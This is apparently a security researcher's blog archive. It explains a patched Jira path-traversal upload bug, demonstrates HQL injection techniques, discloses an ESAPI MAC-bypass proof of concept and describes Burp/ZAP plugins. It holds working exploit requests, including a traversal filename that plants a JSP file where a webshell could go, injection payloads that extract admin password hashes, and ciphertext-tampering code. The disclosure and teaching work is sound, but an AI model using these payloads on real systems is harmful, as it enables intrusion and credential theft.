Pages

Wednesday, February 26, 2014

Jira Path Traversal explained

A new advisory has been published about a path traversal vulnerability affecting Jira 5.0.11 and 6.0.3. The vulnerability was corrected in July of last year and the fixes were deployed in the following months.

The attack is quite simple but, the potential impact is considerable. It could allow a attacker to upload a file that would serve as a webshell. I will explain how it was found by static analysis and why a little detail made it exploitable only on Windows operating system.


Identifying the vulnerability


The following code sample is taken from the plugin Issues Collector. The plugin support file upload to attach screenshots to a ticket. It use Jira REST api.

com/atlassian/jira/collector/plugin/rest/TemporaryAttachmentsResource.java
[...]
  @POST
  @Path("multipart/{collectorId}")
  @Consumes({"multipart/form-data"})
  @Produces({"text/html"})
  public Response attachTemporaryFileViaForm(@PathParam("collectorId") String collectorId, @MultipartFormParam("screenshot") Collection<filepart> fileParts) { ServiceOutcome outcome = this.collectorService.getCollector(collectorId);
   [...]
    FilePart filePart = (FilePart)fileParts.iterator().next();
    try
    {
     [...]

      TemporaryAttachment temporaryAttachment = createTemporaryAttachment(filePart.getName(), filePart.getContentType(), filePart.getInputStream());
      temporaryAttachmentsMonitor.add(temporaryAttachment);
      context.put("temporaryAttachment", temporaryAttachment);
      return Response.ok(renderTemplate("templates/rest/tempfilejson.vm", context)).cacheControl(com.atlassian.jira.rest.v1.util.CacheControl.NO_CACHE).build();
    }
    catch (IOException e) {
    }
    return Response.serverError().cacheControl(com.atlassian.jira.rest.v1.util.CacheControl.NO_CACHE).build();
  }

  private TemporaryAttachment createTemporaryAttachment(String fileName, String contentType, InputStream inputStream)
  {
    File tmpDir = AttachmentUtils.getTemporaryAttachmentDirectory();
    long uniqueId;
    File tempAttachmentFile;
    do
    {
      uniqueId = getUUID();
      tempAttachmentFile = new File(tmpDir, uniqueId + "_" + fileName);
    }
    while (tempAttachmentFile.exists());

    FileOutputStream output = null;
    try
    {
      output = new FileOutputStream(tempAttachmentFile);
      IOUtils.copy(inputStream, output);
      output.close();
    }
    catch (IOException e)
    {
      IOUtils.closeQuietly(output);
      log.error("Error creating temporary attachment", e);
      return null;
    }

    return new TemporaryAttachment(Long.valueOf(uniqueId), Long.valueOf(-1L), tempAttachmentFile, fileName, contentType);
  }

At the line 31, we have the file handle used to move the uploaded file to a temporary directory for attachments. The fileName value is not filter at any moment. This value come from the multipart request therefore can be control by the client.

sink
tempAttachmentFile = new File(tmpDir, uniqueId + "_" + fileName);

source
[...]createTemporaryAttachment(filePart.getName(), filePart.getContentType(), filePart.getInputStream());

Exploitation


To upload a file outside of the attachments folder, a classic path traversal pattern can be use to traverse to the root of the public web directory (/atlassian-jira/). As seen in the previous code sample, no validation is done to the file content. A JSP shell could be uploaded to gain system access.
POST /rest/collectors/1.0/tempattachment/multipart/2c1ce5fa  HTTP/1.1
Host: hackme.atlassian.net
Cookie: atlassian.xsrf.token=BQ79-A85Q-7DOM-UMFN|e98231aaaef98a0d9dc7c52e87f4e84cf9cd3085
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------16266315542468
Content-Length: 345

-----------------------------16266315542468
Content-Disposition: form-data; name="screenshot"; filename="/../../../atlassian-jira/hello.jsp"
Content-Type: text/plain

Hello world!

-----------------------------16266315542468

The filename provided in the request "/../../../atlassian-jira/hello.jsp" will be concatenated to the uniqueid and preceded by the temporary directory path.

On Windows:
C:\Program Files\Atlassian\Application Data\JIRA\caches\tmp_attachments\6177763437089900999_/../../../atlassian-jira/hello.jsp

On Linux:
/opt/atlassian/jira/caches/tmp_attachments/6177763437089900999_/../../../atlassian-jira/hello.jsp

On windows the path will be minimize to "C:\Program Files\Atlassian\Application Data\JIRA\atlassian-jira\hello.jsp" and the file will be written. On the other hand, Linux systems will evaluate the complete chain and identify that the folder "/opt/atlassian/jira/caches/tmp_attachments/6177763437089900999_" doesn't exist. Therefore, the attack would not be possible.

At this point, you can replace the file uploaded by a webshell that would be publicly available.

Remediation


If you maintain a Jira instance, you should have received the update already. If it is not the case, refer to the original advisory.

References


JIRA Security Advisory 2014-02-26 : The official advisory
WASC: Path traversal : Complete description of the Path traversal vulnerability

Wednesday, February 12, 2014

HQL for pentesters

SQL injection is a highly coveted type of attack. Plenty of resources exist to take advantage of an injection on common DBMS (MySQL, Oracle, MS SQL, etc). But, I could not find a resource targeting Hibernate Query Language. So, here are some techniques I found reading the documentation and by trial and error.

Hibernate?


Hibernate is an ORM that does mapping of class definition (code) with associate tables and some advanced feature including caching and inheritance. It is available in Java and .NET (see NHibernate) but, it is much more popular in the Java ecosystem.

The Query Language



First thing first, the HQL queries are not sent directly to the database. The hibernate engine parse the query, interpret it and then convert it to SQL. Why does this detail matter? Because, there are two source of error messages. Some will come from the hibernate engine and others will come from the database.

The big challenge with HQL is that the usual injection patterns are missing. No union, no function to create easy delay, no system function, no metadata tables available, etc. Hibernate query language doesn't expose the fancy features that the backend database might have.

Basic techniques


The following code sample will serve for the following test. Note that the malicious input will always be between the percentage symbols.
session.createQuery("from Book where title like '%" + userInput + "%' and published = true")

Listing all entities

Let's start with something basic: listing all the books.

from Book
where title like '%'
  or 1=1
  or ''='%'
  and published = true

Accessing hidden column

Even tough the UNION operator is unavailable, we can still blindly brute force value of column not exposed.

from Book
where title like '%'
  and promoCode like 'A%'
  or 1=2
  and ''='%'
  and published = true
from Book
where title like '%'
  and promoCode like 'B%'
  or 1=2 and ''='%'
  and published = true
[...]

Listing column

One might ask how can we find this hidden column/field if their are no metadata tables. I found a little trick that can only work if hibernate exception message are return to the client. If a column name is not part of the entity definition hibernate has, hibernate will leave the expression untouched.

from Book
where title like '%' 
  and DOESNT_EXIST=1 and ''='%' 
  and published = true

The previous value will trigger the exception :

org.hibernate.exception.SQLGrammarException: Column "DOESNT_EXIST" not found; SQL statement:
      select book0_.id as id21_, book0_.author as author21_, book0_.promoCode as promo3_21_, book0_.title as title21_, book0_.published as published21_ from Book book0_ where book0_.title like '%' or DOESNT_EXIST='%' and book0_.published=1 [42122-159]

From this exception, we can see the list of column implicitly targeted by the hibernate query.

Accessing different tables

As mention before, HQL does not support UNION queries. Joins with other tables are possible but only if the model has explicitelly define the relationship. The only way I have found to access other tables is using subqueries.

For example, the following query will select an entry from the table associate to the "User" entity.
from Book
where title like '%'
  and (select substring(password,1,1) from User where username='admin') = 'a'
  or ''='%'
  and published = true

It is now possible to follow the usual blind SQL injection pattern.

Non blind injection
Blind injection can be time consuming. If the exception message are exposed, you can directly get any values. To do so, you need to cast a selected value to different type. For example:
from Book
where title like '%11'
  and (select password from User where username='admin')=1
  or ''='%'
  and published = true

Hibernate will then happily return the exception message :
Data conversion error converting "3f3ff0cdbfa0d515f8e3751e4ed98abe"; SQL statement:
select book0_.id as id18_, book0_.author as author18_, book0_.promotionCode as promotio3_18_, book0_.title as title18_, book0_.visible as visible18_ from Book book0_ where book0_.title like '%11' and (select user1_.password from User user1_ where user1_.username = 'admin')=1 or ''='%' and book0_.published=1 [22018-159]
Bonus trick: Calling backend function
As previously mention, Hibernate will leave some unregonized columns intact in the SELECT and WHERE clause. The same behavior apply to functions. The standard procedure to call a database function is to prior register the function mapping (HQL->SQL) (in Java code) but the attacker doesn't care about portability anyway. Functions left intact in the final SQL query can help exfiltrate data (group_concat, array_agg, ...) or simply fingerprint the backend database.

For example if the database support the group_concat function..
from Book
where title like '%11'
  and (select cast(group_concat(password) as string) from User)=1
  or ''='%'
  and published = true
The exception trigger will be :
Data conversion error converting "3f3ff0cdbfa0d515f8e3751e4ed98abe,79a41d71c31128ffab81ac8df2069f9c,b7fe6f6a1024db6e56027aeb558f9e68"; SQL statement:
select book0_.id as id18_, book0_.author as author18_, book0_.promotionCode as promotio3_18_, book0_.title as title18_, book0_.visible as visible18_ from Book book0_ where book0_.title like '%11' and (select cast(group_concat(user1_.password) as varchar(255)) from User user1_)=1 or ''='%' and book0_.published=1 [22018-159]

Conclusion


This post was not about a hibernate vulnerability but about showing tricks to exploit HQL injections. If you are maintaining a Java web application using hibernate, you can run FindBugs with these security rules (self promotion) to identify all the potential injections related to hibernate api.

That's it! I hope I manage to give some helpful pointers.

References


HQL: The Hibernate Query Language : Hibernate official documentation
HQLmap: Probably the only tool that automate HQL injections (brute force entities and column names).
SQL Injection Wiki : Useful reference for SQL injection on multiple DBMS.
Pentestmonkey SQL Injection cheatsheets: Another good reference for SQL injection

Thursday, December 5, 2013

New Burp/ZAP plugin : Script Generator

Often in pentest/CTF, using Burp repeater/intruder is not enough to test certain vulnerabilities (second order SQL injection, padding oracle, etc). The most flexible method is always to build a small script to reproduce the original request(s) and add what is specific to the problem.

In practice when it come to reproduce the exact same request, a lot of time can be spend because of a forgotten parameter or header. I often reuse the same python templates to avoid searching in the documentation as I build a new script. Seeing part of the process being repetitive, I decided to try to build a plugin for Burp.

The plugin


The plugin generate a script (in python/ruby) to reproduce a HTTP request identify in the proxy tool. It does nothing revolutionary. It only supports the first of step of building a scripted attack. It does not provide templates for specific attacks.

The scripts generated are intended to be use outside of the proxy for complete control.

Screenshots


There is not much to be said about the usage of the plugin. Here are few images that show scripts generation in both Burp Proxy and Zed Attack Proxy.

Context menu in Burp Suite Pro
Context menu in Zed Attack Proxy
Python script generated
Ruby/Perl/PHP languages are also supported


Try it yourself


The Burp and ZAP plugins are available to download at https://github.com/h3xstream/http-script-generator#downloads.
Note : Burp Free edition does not supports extensions (doesn't have the Extender Tab).

Sunday, November 3, 2013

Zed Attack Proxy development tips

Following the previous post about the ZAP plugin, I will now present few tips I came across while extending the tool.

Documentation


Your best resources are existing plugins (see plugins/ directory in your ZAP installation). The core developers have also build a set of four simple examples. When in doubt about the api, you can always look at the source code.

Maven support


Strangely, the api or any components of ZAP is not yet publish on Maven. A manual installation of the zap.jar can mitigate this problem.

    mvn install:install-file -Dfile=%ZAP_DIR%/zap.jar -DgroupId=org.zaproxy -DartifactId=zaproxy -Dversion=2.2.2 -Dpackaging=jar

You can now add the ZAP dependency. Additional dependency might be needed depending on what your plugin need to access.

[...]
    
        
        
            org.zaproxy
            zaproxy
            2.2.2
        

        
        
            net.htmlparser.jericho
            jericho-html
            3.1
            provided
        

    


Debuging your plugin


Java supports remote debuging of application with the specification of few arguments to the java command.

From zap.sh or zap.bat
[...]
java 
  -Xmx512m 
  -XX:PermSize=256M 
  -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
  -jar zap.jar org.zaproxy.zap.ZAP %*
[...]

This method avoid the needed to integrate the complete ZAP application to your development stack in order to debug your small addition.

Logging


Log4J is use by ZAP itself. Your plugin should use the same API to have a proper log aggregation.
If you execute the start script (zap.bat/zap.sh) from the command line, the log will be display to stdout. It is also possible to tail the main log in "$HOME/OWASP ZAP/zap.log".

Troubleshooting plugin installation/removal


Once installed, the plugin is copied in "$HOME/OWASP ZAP/plugin". If ZAP is unable to remove a plugin, you can manually remove the associate file.

Useful references


ZAP extensions : Google projects focusing on documenting the extensions available and providing developer documentation.
ZAP developer mailing-list : Probably the best place to ask questions related to ZAP plugin development.
Plugin examples : Simple examples for the four types of plugins.

Saturday, November 2, 2013

JavaScript static analysis meets your HTTP proxy

I recently use Zed Attack Proxy (ZAP) for the first time. While using the tool, I notice ZAP had passive scanning capabilities. With few examples (built-in passive rules), I started to build a plugin that scan JavaScript for both ZAP and Burp Pro.

The idea


Most modern applications (ab)use JavaScript to build client-side logic. The code is spread in JavaScript files and inline scripts tag. It can totalise thousands of lines of code.
The idea is to do static analysis on all JavaScript files intercepted by the proxy to mark security sensitive code sections.

Developing the rules


Doing a grep like scanner would have limited value. For this reason, Mozilla Rhino was chosen to do JavaScript parsing. By having a real parser, it will be possible to do more intelligent rules that eliminate some false positives. For example, the identification of innerHTML usage was the first rule developed.

The following line could be an exploitable XSS
element.innerHTML = "XSS here ->" + value + "";

While the following line doesn't need to be review.
element.innerHTML += "Static content";

The first example will trigger an alert while the second one is ignore because it is safe.

Screenshots



ZAP plugin

Burp Pro plugin

Try it yourself


The respective plugins are available to download at https://github.com/h3xstream/rhinauditor#downloads.
Note : The plugins are in an alpha stage.

Doing your own passive rules


With ZAP, the implementation of a PluginPassiveScanner is needed to analyse response content. [sample]

In Burp api, you need to implement IScannerCheck. [sample]

Thursday, August 22, 2013

ESAPI : When authenticated encryption goes wrong

(Note: This post was revert to draft until 3rd september to avoid unnecessary pressure on the ESAPI developpers.)

ESAPI?


ESAPI is a community project part of OWASP. The project scope is kind of wide. It include functionality for authentication, validation, encoding/escaping, cryptography, etc.
I had to analyze the use of ESAPI cryptography component for my organisation. This post will detail the discovery of a vulnerability in the symmetric encryption API. Keep in mind that the observations refer to the Java implementation specifically.

Block Cipher + MAC = Authenticated Encryption


ESAPI encryptor is the api that support symmetric encryption. Symmetric encryption can be use with a block cipher component alone such as AES. When use properly, it provided confidentiality. But, the ciphers are generally not designed to be tamper proof.
But it can also be combined with the generation of Message authentication code (MAC). This combination is called Authenticated Encryption (AE). This additional MAC is needed because in many case the cipher text can be intercept by an adversary. The generation and validation of MAC requires that the client and server share a secret key.

ESAPI implementation


The usage of ESAPI encryptor is as follow:

Example 1: Encryption without signature
//Encrypt
CipherText ct = ESAPI.encryptor().encrypt(new PlainText("Some secret"));


Example 2: Authenticated encryption
//Encrypt
CipherText ct = ESAPI.encryptor().encrypt(new PlainText("Some secret"));
ct.computeAndStoreMAC(sk);

//Serialize the ciphertext...
byte[] serializedCt = ct.asPortableSerializedByteArray();

//Decrypt
CipherText ctReload = CipherText.fromPortableSerializedBytes(serializedCt);
PlainText pt = ESAPI.encryptor().decrypt(sk,ctReload);

The envelop (CipherText class)


The serialization of the CipherText is designed to be portable with other ESAPI implementation. The properties serialized include :
  • Cipher specification (algorithm used, key length, ...)
  • Ciphertext bytes array
  • MAC bytes array

MAC validation


A look at the decrypt method reveal that the MAC validation is done first and the decryption occurs if the MAC validation succeed.

boolean valid = CryptoHelper.isCipherTextMACvalid(key, ciphertext);
if (!valid)
{
    [...]
    throw new EncryptionException("Decryption failed; see logs for details.", "Decryption failed because MAC invalid for " + ciphertext);
}
[...]
plaintext = handleDecryption(key, ciphertext);

The problem is that the MAC validation can be bypassed under certain conditions.

Condition #1: When the MAC is null (not specified)


If the serialize object (CipherText) doesn't contains a MAC, the validation is simply skipped.
CryptoHelper.java
public boolean validateMAC(SecretKey authKey)
{
    boolean usesMAC = ESAPI.securityConfiguration().useMACforCipherText();
    
    if ((usesMAC) && (macComputed()))
    {
        byte[] mac = computeMAC(authKey);
        assert (mac.length == this.separate_mac_.length) : "MACs are of differnt lengths. Should both be the same.";
        return CryptoHelper.arrayCompare(mac, this.separate_mac_);
    }
    else if (!usesMAC) {
        return true;
    }
    else {
        logger.warning(Logger.SECURITY_FAILURE, "Cannot validate MAC as it was never computed and stored. Decryption result may be garbage even when decryption succeeds.");
    
        return true;
    }
}

private boolean macComputed()
{
    return this.separate_mac_ != null;
}

Disabling the MAC validation allow different kinds of attacks that involve altering the ciphertext. (Oracle Padding Attack, IV manipulation, ...).

Condition #2: Altered cipher definition


If the cipher specfication is tampered to use a different mode, it could fall in a category that doesn't required MAC validation. (This attack require a misconfiguration in the list of combined cipher mode.)
CryptoHelper.java
public static boolean isMACRequired(CipherText ct)
{
    boolean preferredCipherMode = isCombinedCipherMode(ct.getCipherMode());

    boolean wantsMAC = ESAPI.securityConfiguration().useMACforCipherText();

    return (!preferredCipherMode) && (wantsMAC);
}
[...]
public static boolean isCombinedCipherMode(String cipherMode)
{
    assert (cipherMode != null) : "Cipher mode may not be null";
    assert (!cipherMode.equals("")) : "Cipher mode may not be empty string";
    List combinedCipherModes =
    ESAPI.securityConfiguration().getCombinedCipherModes();

    return combinedCipherModes.contains(cipherMode);
}

Exploitation (POC)


Supposing a generic configuration (ESAPI.properties) :
Encryptor.MasterSalt=JMpPmyLMEaR5IX8hGApNuw==
Encryptor.MasterKey=6KRLoeM2vUQaQMkXe3AQN+LgYvLJcMs7/gWpCU30N4s=

Encryptor.CipherText.useMAC=true
Encryptor.CipherTransformation=AES/OFB/NoPadding

Encryptor.HashAlgorithm=SHA-512
Encryptor.HashIterations=1024
Encryptor.CharacterEncoding=UTF-8


Encryption/Decryption
//Encryption
String originalMessage = "Cryptography";
System.out.printf("Encrypting the message '%s'\n", originalMessage);
CipherText ct = ESAPI.encryptor().encrypt(new PlainText(originalMessage));
ct.computeAndStoreMAC(sk);

byte[] serializedCt = ct.asPortableSerializedByteArray();

//Manipulation by an adversary occurs here
serializedCt = tamperCipherText(serializedCt);

//Decryption
CipherText modifierCtObj = CipherText.fromPortableSerializedBytes(serializedCt);
PlainText pt = ESAPI.encryptor().decrypt(sk,modifierCtObj);
System.out.printf("Decrypting to '%s'\n", new String(pt.asBytes()));

Tampering proof of concept
private byte[] tamperCipherText(byte[] serializeCt) throws EncryptionException, NoSuchFieldException, IllegalAccessException {
    CipherText ct = CipherText.fromPortableSerializedBytes(serializeCt);

    byte[] cipherTextMod = ct.getRawCipherText();
    System.out.printf("Original ciphertext\t'%s'\n",String.valueOf(Hex.encodeHex(cipherTextMod)));

    cipherTextMod[2] ^= 'y' ^ 'a'; //Alter the 3rd character
    System.out.printf("Modified ciphertext\t'%s'\n",String.valueOf(Hex.encodeHex(cipherTextMod)));

    //MAC ... what MAC ?
    Field f2 = ct.getClass().getDeclaredField("separate_mac_");
    f2.setAccessible(true);
    f2.set(ct,null); //mac byte array set to null

    //Changing CT
    Field f3 = ct.getClass().getDeclaredField("raw_ciphertext_");
    f3.setAccessible(true);
    f3.set(ct,cipherTextMod);

    return serialize(ct); //Modified version of CipherTextSerializer.asSerializedByteArray()
}


Output of the execution
Encrypting the message 'Cryptography'
Original ciphertext '779fd87578b1f08cdcfa81d0'
Modified ciphertext '779fc07578b1f08cdcfa81d0'
Decrypting to 'Craptography'

Closing thoughts


The design to compute the mac for only a portion of the message is kind of broken. The mac should cover all parameters serialized. Authenticated encryption implementation should not use logic that support optional MAC.

If you are using the encryptor api to encrypt data (ESAPI.encryptor().encrypt(...)), you should upgrade to ESAPI 2.1.0 which address this specific vulnerability.

Additional References